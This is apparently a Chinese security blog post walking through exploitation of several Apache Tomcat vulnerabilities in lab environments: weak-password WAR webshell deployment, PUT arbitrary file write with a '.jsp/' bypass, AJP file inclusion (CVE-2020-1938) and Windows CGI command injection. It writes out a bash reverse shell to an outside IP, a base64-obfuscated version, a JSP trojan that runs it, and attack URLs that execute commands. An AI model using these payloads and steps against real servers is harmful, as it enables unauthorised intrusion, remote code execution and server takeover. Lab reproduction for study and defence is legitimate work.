欢迎关注我的微信公众号《壳中之魂》观看更多网安文章
管理后台链接:http://192.168.0.105:8080/manager/html
弱口令进去后就可以远程部署war包
可以通过将后门打包为war包
jar -cvf test.war .
上传后可以看到主页显示了刚才部署的包的名字
然后访问一下包里面的后门,如果没报错404说明正常,http://192.168.0.105:8080/hack/shell.jsp
接着使用shell管理工具链接即可
如果想要拿到meterpreter,可以直接使用msf的exploit/multi/http/tomcat_mgr_upload模块
在后台登录时,密码采用base64编码进行传输,所以可以通过抓取数据包
其中Authorization字段的值为Basic,说明为base64编码,dG9tY2F0OnRvbWNhdA==解码后为tomcat:tomcat,格式为账号:密码,我们可以使用BurpSuite进行暴力破解,对payload进行base64编码
但是以上两个漏洞都是有利用条件的,有一些会对ip做了限制,只有本地才可以访问后台,想要外部网络访问需要修改管理员权限和允许访问的ip
配置管理员权限账号
打开conf目录下的tomcat-users.xml文件,写入以下内容
接着再修改webapps/manager/META-INF/context.xml和/webapps/host-manager/META-INF/context.xml这两个文件
默认会是127,修改为\d+
注意:这个修改似乎和允许外部访问war包不是同一个设置
漏洞产生原因为web.xml里将readonly设置为了false(默认为true),导致了可以通过PUT写入任意文件,但是不能直接传.jsp后缀的文件,但是可以进行绕过,如.jsp/
利用条件
经过实际测试,Tomcat 7.x 版本内 web.xml 配置文件内默认配置无 readonly 参数,需要手工添加,默认配置条件下不受此漏洞影响
影响范围
复现
搭建环境:Vulhub - Docker-Compose file for vulnerability environment
搭建好环境后打开页面localhost:8080,然后使用burpsuite抓包
通过修改为PUT方法,可以直接写入文件
传入的URI必须的是/x.jsp/的格式,而不能是/x.jsp的格式
传入/x.jsp的会报404状态码
同时文件是没有被写入的
通用的绕过方法是使用/结尾,无论是linux或者是windows都可以绕过,如果是windows下还可以以::$DATA、%20空格等结尾
使用/结尾,响应码为201,说明成功写入,响应码如果为204也表示成功写入,但是说明原来存在相同文件名的文件,覆盖写入
此时访问/test.jsp
该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控参数,通过可控参数可以导致文件包含漏洞。AJP协议使用率约为7.8%,鉴于Tomcat作为中间件被大范围部署在服务器上,该漏洞危害较大。
影响范围
复现
搭建环境:Vulhub - Docker-Compose file for vulnerability environment
访问ip:8080出现以下页面说明搭建成功,一般处理AJP协议的默认端口为8009,如果存在上传点,上传图片马也可获取shell
如果有的tomcat启动时并没有开启8009端口,这时可以打开tomcat/conf/server.xml,将
<Connector protocol="AJP/1.3" address="::1" port="8009" redirectPort="8443" />
解除注释
使用工具https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read
使用图片马getshell
bash -i >& /dev/tcp/192.168.3.47/6666 0>&1
转换的来的命令为
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuNDcvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
然后写为一个jsp木马
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuNDcvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>
然后与图片复制为图片马,再讲图片马上传
然后按照流程,监听后直接文件包含就可以getshell
此漏洞的成因是因为Java的Runtime.getRuntime.exec()在CGI调用下,Linux和Windows下实现不同,在Linux下不会产生此漏洞,而在Windows下,CreateProcess中的参数为bat文件或是cmd文件时,会调用cmd.exe,导致最后传入的参数为cmd.exe /c "xxx.bat & dir",而且在调用参数的过程中,Java没有进行任何的转义,导致命令执行
影响范围
条件
复现
首先先在Windows下搭建环境,启动Tomcat,接着需要修改配置
打开web.xml,将CGI相关的内容取消注释并进行修改
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
下面的也要解除注释,否则访问cgi目录时会显示404
接着修改context.xml,添加privileged="true" ,否则会没有权限
最后在apache-tomcat-8.5.39\webapps\ROOT\WEB-INF目录下新建一个cgi-bin目录,创建一个hack.bat文件,此文件就是用来执行的命令,内容如下
@echo off
echo Content-Type: text/plain
echo .
set foo=%~1
%foo%
攻击时就访问以下链接
http://localhost:8080/cgi-bin/hack.bat?%26c%3a%5cwindows%5csystem32%5ccalc.exe
http://localhost:8080/cgi-bin/hack.bat?%26c%3a%5cwindows%5csystem32%5cnet.exe%20user
不过这两个来链接被浏览器执行完后会自动把反斜杠解码,所以在读取就会导致报错,所以要重新复制链接运行
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。